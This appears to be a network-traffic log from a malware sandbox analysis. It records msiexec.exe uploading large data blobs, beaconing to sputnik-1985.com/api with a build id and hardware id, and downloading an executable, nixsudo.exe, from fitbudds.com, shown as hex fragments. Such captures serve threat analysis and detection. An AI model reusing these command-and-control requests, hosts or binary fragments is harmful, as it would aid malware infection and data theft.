2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: ce 9c 07 c9 82 b0 e2 9d 72 f1 46 0c dc 35 13 93 6b d3 9c 1d 6c d1 80 94 65 70 c0 67 ef 28 a2 3b 20 62 53 26 ed 0f e3 f2 72 93 f2 05 3b e1 07 07 df f7 69 6f 4f ef 74 11 a2 fc 44 cc a8 d7 14 06 1b d0 f6 09 f5 e8 11 81 f4 cc 03 00 74 1e f2 1b 02 95 87 7f 0e 91 2a 3b 0a 98 4c d0 e6 90 a1 42 ca a1 bb 35 9d 7e 8c aa f1 72 ce 31 be 53 b5 fb 1a c4 ef 44 16 68 c8 8c b1 4a 0a a7 2c 4f 89 07 06 98 9e 7f bc 8e 5e 1e 2d 9a fb 1f 50 b1 63 dc 49 e1 06 a2 21 21 cf 40 a0 ba 61 e2 f5 ac bd b9 c8 8c 9d 3b 09 67 11 2b d1 9d c7 a7 3e fc 06 72 da af 59 95 00 7d 07 76 b3 e9 bc 64 77 1e 8d 28 dd f0 e2 d9 ea 30 31 20 f1 16 eb ee 21 5a 75 06 8e 5a f9 01 57 a7 7d d8 e2 0c d0 bc e9 88 43 5e 55 cd ca ad 8b 34 2a e0 5a 15 d9 3d 3a 3d a1 fe 5e 55 55 af eb 2b a8 d9 23 69 c7 23 02 53 f2 Data Ascii: rF5klepg(; bS&r;ioOtDt;LB5~r1SDhJ,O^-PcI!!@a;g+>rY}vdw(01 !ZuZW}C^U4Z=:=^UU+#i#S
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: d5 df 19 c8 52 f8 f6 7b 40 49 6c d5 77 a9 30 b7 e1 dc 1a 07 37 1c 3e ce 16 4d 48 da 94 f9 db da aa b1 96 8c 53 62 79 98 bf 7b 4f a8 dc 5c a5 67 f6 33 10 c7 4e d8 c3 4d 06 86 f5 74 20 f1 1d cb a9 91 91 bd a2 59 b2 b2 e4 fb e4 90 e0 b2 a8 18 9a 5a ce 5b c4 b8 ac 85 b1 70 c9 5d 4a 5a 3b 4b 32 19 54 7e ac 1e 4d d9 10 da fa b1 60 ec 97 1e 5e 7f 15 5e 5e f4 65 af 2f 8f af df b0 e1 7a 28 f6 db 7c dd 93 36 c0 8a 13 7b cd 50 35 25 54 4c 71 30 5e 90 07 b1 e0 17 d6 1a b7 2c 60 4c 00 7f d8 18 79 c9 7f 8e e9 72 41 15 40 f6 81 38 b8 e0 15 c4 6c 10 c9 a3 37 17 a9 4e b2 43 87 01 f8 91 28 d3 34 05 60 77 d0 60 cc 8c d5 20 bd 74 f1 b1 0a 2f 50 82 51 aa cf 7b cb 59 2f be 34 17 38 c3 68 ab 82 b5 08 e6 f0 dd 85 08 51 5e 80 9b ea 19 8f 5d 5b c6 9c 76 6a c6 dc 59 d2 b6 b4 83 e8 Data Ascii: R{@Ilw07>MHSby{O\g3NMt YZ[p]JZ;K2T~M`^^^e/z(\|6{P5%TLq0^,`LyrA@8l7NC(4`w` t/PQ{Y/48hQ^][vjY
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: b0 16 70 67 a4 7d 34 f7 fe d6 c1 18 ae 11 f8 60 f7 00 27 c6 5a 4c ea 7a 4a e0 08 35 dd 74 b9 47 5d aa 0a 84 49 e1 69 6e 90 a8 bb f1 5a 76 3f 08 69 88 ee de 4e 10 26 59 eb a7 0d 12 a5 ff ef e8 c4 bf 6f 95 8a 60 20 c7 01 cd 09 64 2b c8 3c c0 df 76 bd 07 80 81 cd 2f b7 1f 9d ee 14 b9 20 4d 12 5b af 9f e9 43 13 4a f8 36 05 f9 7f 1e 6d 3e 49 0b fc c1 9d 6c 68 24 7f 9a 0c c4 53 3b da 37 3d 2e 00 32 c9 0a 95 b3 3f 2b ee 6e 0e 3c c7 82 3f 7b e1 1a 28 35 09 8b 68 7b c8 6a 46 bf d8 23 02 b5 7e f6 93 6b b1 5a 3c 57 fd ae 59 b2 ac 09 3d 8d 0f f6 e3 fc 42 fd 99 b9 7c be b9 ce cf b4 22 40 90 2d 17 79 a1 e7 f8 4b 80 f8 2f 15 e1 2e fc e8 48 bf 59 6e 79 2a 9b 83 7a 60 d0 73 1c f2 6c d3 e4 22 26 1f 4f 77 de 83 c8 45 5f 48 89 b4 f5 6c 3a b8 3e a1 25 4d d2 4e c8 57 fc dc f8 Data Ascii: pg}4`'ZLzJ5tG]IinZv?iN&Yo` d+<v/ M[CJ6m>Ilh$S;7=.2?+n<?{(5h{jF#~kZ<WY=B\|"@-yK/.HYny*z`sl"&OwE_Hl:>%MNW
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: ed 03 13 f6 7e f4 7f 94 a7 2c 99 f3 60 29 af 62 33 44 1f 1f 8f dd 78 36 68 eb 6e d3 27 42 b7 7e 60 f6 1e 54 b9 79 fd a4 e2 f5 0c 75 23 72 c5 d2 2f ef 33 6a e1 86 92 ca f8 da f4 82 f6 1f 7f e3 e5 68 b4 e8 9f 4b af d4 e9 41 f9 02 b5 d7 ce 67 4c 4f 95 3d 71 88 12 fb fb 43 1d 2e de e3 0a 46 55 9d d2 98 e3 15 1c cc 82 e4 dc 8e 05 93 99 de 9f c9 14 27 8d fd bf f7 09 2c 7b 29 c8 92 1e 0a 8e d0 82 40 20 8a ba 25 4d 62 65 56 49 90 21 ea 06 22 b7 c1 b6 9e 91 72 9a 62 6e d3 fa b8 b7 a5 92 93 a9 1e 1f 7d 71 3b 6d f7 b7 46 1e bb 34 40 81 56 b7 2d a8 60 51 6c 57 66 6c 13 38 61 43 08 87 33 ef fa 44 89 a2 84 8c 66 fe c8 8b 63 16 46 d1 d4 73 b0 de 2d b8 95 f8 8d 25 98 db 70 b9 a0 2b 45 c8 cb 32 3c dd d8 d8 c9 35 dd d0 6d f9 9f 0d f8 bf 23 90 45 61 ad 06 99 af ff 86 b7 14 Data Ascii: ~,`)b3Dx6hn'B~`Tyu#r/3jhKAgLO=qC.FU',{)@ %MbeVI!"rbn}q;mF4@V-`QlWfl8aC3DfcFs-%p+E2<5m#Ea
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: 4e ab 97 c2 6c e9 92 af 75 f3 f8 5e 5b f6 20 5c 9a ed 2d 42 20 e3 87 32 0a 32 75 3a 13 7d d8 98 5f a0 1b 74 75 71 cd 53 63 83 03 f8 0f d0 72 2e d5 78 cc 73 50 d8 97 3e 89 cd f3 55 be ac 59 ce b8 4e db db 88 87 bb bf cd 94 c3 c5 f1 bf af c8 5a 60 cd 25 76 bf 5b 4f 03 a4 be 41 5d 56 21 6f a0 b3 3e 7e 90 ba 37 84 9d c9 99 87 d7 f8 49 ab f3 e3 e5 5d dc 5f 8f 1e c3 6e 22 44 3d f9 e7 df 67 c8 0c e0 d7 28 28 9a c1 ab b2 03 b8 48 49 c6 e6 9f eb 5d 0b c1 6a 22 25 d1 b4 b6 1c 15 e6 03 bd 81 87 c8 00 9f a8 8b f8 30 f5 85 81 b9 33 22 3c 0a 0e d3 4a 7b 80 f8 46 c4 95 a1 5a 67 1b f6 50 9a 10 67 e5 8b 10 a4 de a5 57 9a 6f 05 d9 01 6d 74 51 3d 96 6f 36 be d0 c3 be a8 da a6 37 be 71 ab 89 31 12 8c f1 3f 77 b5 1c 99 b9 a4 51 10 a1 ef 31 f6 f1 f6 54 ed b9 73 8f a3 51 21 82 Data Ascii: Nlu^[ \-B 22u:}_tuqScr.xsP>UYNZ`%v[OA]V!o>~7I]_n"D=g((HI]j"%03"<J{FZgPgWomtQ=o67q1?wQ1TsQ!
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: 9a 4a 71 6e 8d 08 ca 77 90 31 97 1c f7 12 db 04 20 a4 b6 40 6e 28 54 cf 39 f1 e7 72 38 cd 0c 19 d3 c1 a5 d9 6d c7 0e eb 2c 35 ca 11 ac 72 90 23 60 f6 ac 0e 46 0d f5 8e b3 2d f2 fd ee c3 c1 8d 0b 6b d6 5d 39 e7 ea 04 91 a5 fa b2 49 c4 6d c2 09 96 02 22 8d 11 52 6b d1 49 c4 49 8e 8c d3 33 0e ea bf 0a 63 68 d0 37 1b 75 dd 95 c0 af b7 d8 02 59 a6 9c 3b 3b 9f 9d 3a 2c 40 04 94 30 7d ba 22 52 77 d3 ea f8 9e c3 81 9e b6 88 3c 50 64 cb 7d 97 b5 a9 1f 4e 4f 97 e7 44 23 c9 bf 4c 0c eb 94 95 af ef c0 f6 7e 3a 48 29 3c 1f ef ee 27 3c ba 99 90 d4 39 a4 ab d0 60 d8 04 cd a9 a3 2c 12 fb 09 6e 0a ad c3 ca 0b 8d 9f 17 69 91 f6 1f 6c 91 bf c6 3e 30 88 7c b2 c9 c8 89 b0 2e ad 96 da 9a 45 04 cb 17 23 70 3c 1a 84 d8 c5 dc 74 d5 bb b9 29 8a 3a 44 16 ef 3b 38 83 b4 ef 93 1e 29 Data Ascii: Jqnw1 @n(T9r8m,5r#`F-k]9Im"RkII3ch7uY;;:,@0}"Rw<Pd}NOD#L~:H)<'<9`,nil>0\|.E#p<t):D;8)
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: 05 b1 6b 6f 6c ca 8f dd 30 72 8e 51 a6 fc fd 2a 72 d8 82 74 f8 8b 86 2c 06 c1 ef d4 fe b1 a1 67 cb ae 67 8e 19 94 a0 83 42 aa d9 8a b7 3d ee 14 9a 1f 31 30 5e 7d e0 51 e0 4f 39 1b 1e 3e aa 18 57 42 f8 d6 39 12 88 b7 8e d8 b1 7b 93 f6 18 ad 5c 1e 77 35 ee a7 c4 72 bc 09 06 2d 74 e2 51 c8 67 c8 a0 3a 54 e9 85 49 1f 49 3c 6e 51 a4 67 28 64 c7 5b 7f 02 08 08 56 ad dd 7c dd c0 b0 e0 cf fb ae f3 56 4d fb c6 92 36 71 18 a8 af fe 2a 5d e8 0b 6a 0a e2 39 e3 22 fb 05 e8 9c ab f2 55 4e ad e1 63 3d 4f 85 24 44 bf ec d9 17 56 e3 2e e1 2a 7b b4 03 7f 8f 73 56 3b 5b 60 26 79 58 37 3c 3c 44 98 ee e4 77 d7 f9 82 db 0f 95 96 c7 8d 37 87 47 76 c5 14 e2 df 99 76 74 fd fd 6a 21 d6 f1 d3 e5 9e 00 52 12 81 45 e0 62 92 ac 6a 33 d1 d1 c7 d2 e9 2d b4 28 11 85 2b db 1f 48 62 89 a9 Data Ascii: kol0rQrt,ggB=10^}QO9>WB9{\w5r-tQg:TII<nQg(d[V\|VM6q]j9"UNc=O$DV.*{sV;[`&yX7<<Dw7Gvvtj!REbj3-(+Hb
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: f0 9e 2d 81 3b 8e 8b b3 2d 38 f2 05 dc cd e9 e1 e7 e6 7d f6 71 0e ff 92 d1 a3 df 61 7a 60 d7 8b 7e 32 d7 79 52 3c ea 77 7d 4e 97 6d ec 07 68 46 2d 33 34 6b a3 e2 ae b6 0f 75 c7 1c 1e 4c aa 6a d4 f5 f5 85 f8 16 11 b0 c6 cb 98 dc 0a e6 70 68 2f 6d 42 75 fb f8 af dc d4 f2 cb 31 fd 91 d8 23 13 e4 a4 0e 4e 79 92 c3 c0 6b c2 a7 e7 dd d5 c5 37 3a 29 da 7f 2a 4b 7c 73 57 f0 96 45 db 3d 1f 18 41 22 4e b1 37 15 cf a1 c0 88 7d 5d 04 bc 87 71 09 af 6f 6b 6c b2 03 d4 37 b7 00 86 5f b9 eb 01 f0 61 d3 6e da 02 0d 3c 99 00 1a 16 31 5f f4 3e 04 8c 49 a9 a3 22 92 0d ec 36 fc 38 f4 e0 47 b3 64 07 99 75 0f 07 36 25 b7 23 14 69 e3 e5 63 e3 c8 7c 7b e9 9a e1 6c c6 88 81 4b 15 50 7f 49 a4 7b 32 0d 70 f8 f1 9b d3 e0 61 1e 5b 1f 9c 9b 80 63 87 de 1f 95 e3 71 d0 b1 3b 43 fa 84 44 Data Ascii: -;-8}qaz`~2yR<w}NmhF-34kuLjph/mBu1#Nyk7:)*K\|sWE=A"N7}]qokl7_an<1_>I"68Gdu6%#ic\|{lKPI{2pa[cq;CD
2025-01-11 08:26:29 UTC	15331	OUT	Data Raw: 7c c3 5e 2d 07 9b 6a fd fb 34 99 c5 b2 6d 4d 61 cb 87 be b4 93 b1 70 a8 59 b6 1f 84 e5 a7 d8 c1 2f 66 5c 9f 3f 53 2e 58 88 01 12 72 81 1d d1 19 ce 95 3f e5 2a 24 53 aa 90 18 56 16 22 25 b6 04 53 95 2c 13 da 80 61 29 db 67 48 f8 c5 d5 aa b6 92 5a 0f 18 c8 48 e5 4c e1 00 1e 47 2d 05 68 41 9a 25 93 84 06 09 e4 82 b5 31 9d d2 6e 32 8d c9 fd e4 64 89 02 06 d2 db b4 2b 66 c3 eb 58 79 2a 64 06 f2 95 0e b3 03 65 d6 86 d9 10 2b 41 f6 1e c2 83 f4 79 d3 f6 ce 70 21 8e 64 03 3e 48 90 12 c7 27 ce 44 ce 50 e8 9a 30 fd 82 58 09 53 75 35 b7 22 50 e6 59 18 b3 90 83 12 2b 15 72 43 6a 21 a3 24 fa 90 18 f9 aa a5 46 c0 16 9d a9 02 c2 1b 37 5b 9a 3f 8c 90 49 66 ea 7e 57 bf 0e ea 76 8a ce 0a e7 2a d1 4f fd fb a8 8d 9e 77 31 18 79 1e 97 46 c0 a5 d5 a0 1b 30 3d 86 2c 55 c1 47 04 Data Ascii: \|^-j4mMapY/f\?S.Xr?$SV"%S,a)gHZHLG-hA%1n2d+fXyde+Ayp!d>H'DP0XSu5"PY+rCj!$F7[?If~Wv*Ow1yF0=,UG
2025-01-11 08:26:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ga9gu298n7mvm8rsi416gnbati; expires=Wed, 07 May 2025 02:13:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9RBt5SIjhqbGvYd2FEz%2FpmhxsE1PMHUVmp6X0W81JDXymEtLsfu%2Bintr6keTMglWBg2UkV%2FTx3UBSrTi7aNUUjMwXdOsrolR5nFVrmtNXfRtMLc6AZKAkb4Q0KEg6JdPHCps"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385abcca74363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1551&min_rtt=1541&rtt_var=599&sent=116&recv=340&lost=0&retrans=0&sent_bytes=2840&recv_bytes=328936&delivery_rate=1796923&cwnd=240&unsent_bytes=0&cid=224344c865bba995&ts=2203&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49930	104.21.96.1	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:31 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: sputnik-1985.com
2025-01-11 08:26:31 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 44 76 68 38 75 69 2d 2d 33 33 33 26 6a 3d 26 68 77 69 64 3d 38 35 45 35 34 39 41 33 33 45 43 44 31 38 43 42 32 33 41 37 46 44 44 43 39 35 42 33 43 33 36 41 Data Ascii: act=get_message&ver=4.0&lid=Dvh8ui--333&j=&hwid=85E549A33ECD18CB23A7FDDC95B3C36A
2025-01-11 08:26:32 UTC	1121	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lm0p8g194061heak1q3tupf729; expires=Wed, 07 May 2025 02:13:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2BX26LRwcCPWwm3LRRoTVpvjVHSKLL4ey4UsGLppZqC9K353Fe653uGT09FrdAj1AU3LF3JhP3r%2F%2Fpuu32ZykK17PwAnZy9SPNjEYLUDBcM49jRba7XLjtenBrqGNosQNY8n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385bcbb611a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1940&min_rtt=1937&rtt_var=734&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=980&delivery_rate=1484494&cwnd=157&unsent_bytes=0&cid=fd31307050e7b3a5&ts=460&x=0"
2025-01-11 08:26:32 UTC	222	IN	Data Raw: 64 38 0d 0a 58 59 58 65 62 61 4b 6e 67 4e 39 36 34 77 73 2b 61 59 54 2b 69 36 6a 35 6e 36 50 73 6e 48 47 67 34 38 47 32 6b 57 33 78 54 33 67 47 2f 76 77 59 67 4a 32 69 74 77 36 58 65 30 31 54 32 4e 48 58 68 35 2f 32 31 34 37 70 46 63 53 51 37 39 58 2b 41 4b 31 67 48 6a 54 70 75 7a 47 4e 79 65 6d 6e 43 5a 5a 76 55 55 66 68 68 75 36 4b 31 62 33 46 6d 4c 35 4c 6b 4d 2f 6a 30 37 4e 58 77 54 4a 55 4a 71 65 72 54 35 69 46 36 4b 73 4f 6b 33 67 45 4e 61 75 69 70 4d 4f 56 39 74 4f 4c 35 52 33 42 68 4c 6a 66 76 78 36 5a 49 41 67 42 71 72 63 44 31 76 6a 6a 73 77 71 38 65 31 38 48 71 6f 72 7a 33 4e 75 7a 67 59 72 6f 55 35 72 52 37 5a 54 30 54 38 74 2f 42 51 41 3d 0d 0a Data Ascii: d8XYXebaKngN964ws+aYT+i6j5n6PsnHGg48G2kW3xT3gG/vwYgJ2itw6Xe01T2NHXh5/2147pFcSQ79X+AK1gHjTpuzGNyemnCZZvUUfhhu6K1b3FmL5LkM/j07NXwTJUJqerT5iF6KsOk3gENauipMOV9tOL5R3BhLjfvx6ZIAgBqrcD1vjjswq8e18Hqorz3NuzgYroU5rR7ZT0T8t/BQA=
2025-01-11 08:26:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49941	85.239.54.77	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:32 UTC	203	OUT	GET /file/nixsudo.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: fitbudds.com
2025-01-11 08:26:33 UTC	265	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sat, 11 Jan 2025 08:26:33 GMT Content-Type: application/x-msdos-program Content-Length: 24266048 Connection: close Last-Modified: Fri, 10 Jan 2025 18:11:49 GMT ETag: "1724540-62b5e0742c340" Accept-Ranges: bytes
2025-01-11 08:26:33 UTC	16119	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4b 8c 3b f3 0f ed 55 a0 0f ed 55 a0 0f ed 55 a0 49 bc b4 a0 0b ed 55 a0 91 4d 92 a0 0d ed 55 a0 02 bf 8a a0 40 ed 55 a0 02 bf b4 a0 5c ed 55 a0 02 bf b5 a0 06 ec 55 a0 d2 12 9b a0 08 ed 55 a0 d2 12 85 a0 0e ed 55 a0 d2 12 9e a0 16 ed 55 a0 0f ed 54 a0 e2 ec 55 a0 0c 95 b5 a0 98 ed 55 a0 0c 95 b4 a0 e6 e9 55 a0 0c 95 89 a0 0e ed 55 a0 02 bf 8e a0 0e ed 55 a0 0c 95 8b a0 0e ed 55 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$K;UUUIUMU@U\UUUUUTUUUUUU
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: f0 0f c1 06 0f 95 c0 84 c0 75 0d 6a 04 6a 02 56 e8 84 70 80 00 83 c4 0c 6a 01 68 84 5a df 00 e8 55 c2 80 00 83 c4 08 89 45 d0 b8 01 00 00 00 c6 45 fc 0a 89 45 c8 8d 4d d8 89 45 e8 8d 45 d0 50 e8 94 b0 81 00 84 c0 75 38 6a 04 68 88 5a df 00 e8 24 c2 80 00 83 c4 08 89 45 d4 b8 03 00 00 00 c7 45 fc 0b 00 00 00 89 45 c8 8d 4d d8 89 45 e8 8d 45 d4 50 e8 60 b0 81 00 c6 45 df 00 84 c0 74 04 c6 45 df 01 8b 55 c8 f6 c2 02 74 34 8b 45 d4 83 e2 fd 89 55 c8 8b 08 85 c9 74 15 83 f9 ff 74 20 8b cb f0 0f c1 08 0f 95 c0 84 c0 75 13 8b 45 d4 6a 04 6a 02 50 e8 de 6f 80 00 8b 55 c8 83 c4 0c c7 45 fc 03 00 00 00 f6 c2 01 74 31 8b 45 d0 83 e2 fe 89 55 c8 8b 08 85 c9 74 15 83 f9 ff 74 1d 8b cb f0 0f c1 08 0f 95 c0 84 c0 75 10 8b 45 d0 6a 04 6a 02 50 e8 9e 6f 80 00 83 c4 0c 80 Data Ascii: ujjVpjhZUEEEMEEPu8jhZ$EEEMEEP`EtEUt4EUtt uEjjPoUEt1EUttuEjjPo
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 70 81 00 8b 4c 24 18 88 44 24 17 c6 84 24 d8 00 00 00 40 8b 11 85 d2 74 16 83 fa ff 74 1e 8b c3 f0 0f c1 01 0f 95 c0 84 c0 75 11 8b 4c 24 18 6a 04 6a 02 51 e8 60 30 80 00 83 c4 0c 80 7c 24 17 00 0f 84 15 01 00 00 6a 06 68 88 5e df 00 e8 26 82 80 00 83 c4 08 89 44 24 18 8d 44 24 18 c6 84 24 d8 00 00 00 42 50 8d 44 24 20 50 8d 4c 24 34 e8 a4 bc ff ff 8b 54 24 38 8b 08 89 4c 24 38 89 10 8b 44 24 1c 8b 08 85 c9 74 16 83 f9 ff 74 1e 8b cb f0 0f c1 08 0f 95 c0 84 c0 75 11 8b 44 24 1c 6a 04 6a 02 50 e8 ee 2f 80 00 83 c4 0c 8b 44 24 18 c6 84 24 d8 00 00 00 40 8b 08 85 c9 74 16 83 f9 ff 74 1e 8b cb f0 0f c1 08 0f 95 c0 84 c0 75 11 8b 44 24 18 6a 04 6a 02 50 e8 b9 2f 80 00 83 c4 0c 8d 44 24 38 50 8d 4c 24 28 e8 e8 da 82 00 8b c8 c6 84 24 d8 00 00 00 43 e8 d9 e9 82 Data Ascii: pL$D$$@ttuL$jjQ`0\|$jh^&D$D$$BPD$ PL$4T$8L$8D$ttuD$jjP/D$$@ttuD$jjP/D$8PL$($C
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 50 8d 44 24 0c 64 a3 00 00 00 00 8b f1 89 74 24 08 8b 4e 4c c7 44 24 14 01 00 00 00 8b 01 85 c0 74 13 83 f8 ff 74 19 83 c8 ff f0 0f c1 01 0f 95 c0 84 c0 75 0b ff 76 4c e8 0c aa 77 00 83 c4 04 8d 4e 28 c6 44 24 14 00 e8 8c 1b 04 00 8b ce c7 44 24 14 ff ff ff ff e8 7d 18 19 00 f6 44 24 1c 01 74 09 56 e8 e0 a9 77 00 83 c4 04 8b c6 8b 4c 24 0c 64 89 0d 00 00 00 00 59 5e 83 c4 10 c2 04 00 cc cc cc cc cc cc cc cc 6a ff 68 c0 c8 db 00 64 a1 00 00 00 00 50 83 ec 18 53 55 56 57 a1 80 ca 23 01 33 c4 50 8d 44 24 2c 64 a3 00 00 00 00 8b e9 8d 4c 24 14 e8 2e 57 02 00 8b 4d 20 c7 44 24 34 00 00 00 00 e8 0e ee 01 00 8b 4d 4c 8b d8 8d 44 24 20 89 5c 24 18 50 6a 00 8b 41 08 68 44 e3 23 01 68 24 e3 23 01 6a 00 ff 74 81 10 e8 79 84 98 00 83 c4 14 8b c8 e8 4c 14 00 00 50 8d Data Ascii: PD$dt$NLD$ttuvLwN(D$D$}D$tVwL$dY^jhdPSUVW#3PD$,dL$.WM D$4MLD$ \$PjAhD#h$#jtyLP
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 0f 94 c2 88 56 24 6a ff 88 50 08 80 7e 24 00 6a 00 74 21 8d 44 24 20 68 5c 74 df 00 50 e8 77 ff ff ff 83 c4 10 c7 44 24 24 00 00 00 00 bb 01 00 00 00 eb 1f 8d 44 24 1c 68 c8 6b df 00 50 e8 56 ff ff ff 83 c4 10 c7 44 24 24 01 00 00 00 bb 02 00 00 00 8b 4e 18 50 89 5c 24 14 8b 89 80 00 00 00 e8 73 31 1c 00 83 cf ff f6 c3 02 74 2f 8b 44 24 14 83 e3 fd 8b 08 85 c9 74 15 3b cf 74 1e 8b cf f0 0f c1 08 0f 95 c0 84 c0 75 11 8b 44 24 14 6a 04 6a 02 50 e8 ff af 7f 00 83 c4 0c c7 44 24 24 ff ff ff ff f6 c3 01 74 2c 8b 44 24 18 8b 08 85 c9 74 15 83 f9 ff 74 1d f0 0f c1 38 4f 0f 95 c0 84 c0 75 11 8b 44 24 18 6a 04 6a 02 50 e8 c6 af 7f 00 83 c4 0c 8b 4e 18 8b 49 64 e8 a8 7f 1d 00 8b c8 e8 b1 c8 18 00 8b 4c 24 1c 64 89 0d 00 00 00 00 59 5f 5e 5b 83 c4 18 c3 cc cc cc cc Data Ascii: V$jP~$jt!D$ h\tPwD$$D$hkPVD$$NP\$s1t/D$t;tuD$jjPD$$t,D$tt8OuD$jjPNIdL$dY_^[
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 59 1a 01 89 08 8b 0d 6c 59 1a 01 89 48 04 c7 40 08 00 00 00 00 c7 40 0c 00 00 00 00 c7 40 10 00 00 00 00 c2 20 00 cc cc cc 56 8b f1 8b 4e 50 85 c9 74 3e 8b 54 24 08 85 d2 75 0f 8b 44 24 0c 0b 44 24 10 75 05 8d 42 04 eb 02 33 c0 ff 74 24 0c 50 52 51 e8 52 0f 98 00 83 c4 10 85 c0 75 12 6a 01 ff 76 50 8b ce e8 de f4 ff ff 8b c6 5e c2 0c 00 33 c0 5e c2 0c 00 cc cc 8b c1 c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 83 7e 50 00 74 20 8b 06 6a ff ff 50 0c 83 f8 ff 74 14 ff 76 50 e8 2d 08 98 00 83 c4 04 85 c0 79 05 83 c8 ff 5e c3 33 c0 5e c3 cc cc cc 6a ff 68 e8 d6 db 00 64 a1 00 00 00 00 50 83 ec 28 a1 80 ca 23 01 33 c4 89 44 24 24 53 55 56 57 a1 80 ca 23 01 33 c4 50 8d 44 24 3c 64 a3 00 00 00 00 8b d9 8b 43 1c 8b 08 85 c9 74 23 8b 53 2c 8b 32 8d 04 0e 3b Data Ascii: YlYH@@@ VNPt>T$uD$D$uB3t$PRQRujvP^3^V~Pt jPtvP-y^3^jhdP(#3D$$SUVW#3PD$<dCt#S,2;
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 8b f8 83 c1 08 8b 11 85 d2 74 13 83 fa ff 74 1a 83 c8 ff f0 0f c1 01 0f 95 c0 84 c0 75 0c 8b 0e 68 b0 6c 40 00 e8 5f a7 81 00 89 3e 5f 5e c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 90 de db 00 64 a1 00 00 00 00 50 83 ec 08 53 56 57 a1 80 ca 23 01 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 65 f0 8b f9 89 7d ec 8b 17 ff 75 08 8b 42 08 83 c0 04 8d 1c 82 e8 2d fd 7f 00 8b 17 8b f0 53 89 75 08 c7 45 fc 00 00 00 00 8b 4a 0c 8b 42 08 83 c1 04 83 c0 04 8d 0c 8a 51 8d 04 82 8b cf 50 e8 33 b8 fe ff 8b 06 c7 45 fc ff ff ff ff 85 c0 74 13 83 f8 ff 74 32 83 c8 ff f0 0f c1 06 0f 95 c0 84 c0 75 24 8b 46 0c 8b cf 83 c0 04 8d 04 86 50 8b 46 08 83 c0 04 8d 04 86 50 e8 38 b8 fe ff 56 e8 62 e9 76 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 04 00 8b Data Ascii: ttuhl@_>_^UjhdPSVW#3PEde}uB-SuEJBQP3Ett2u$FPFP8VbvMdY_^[]
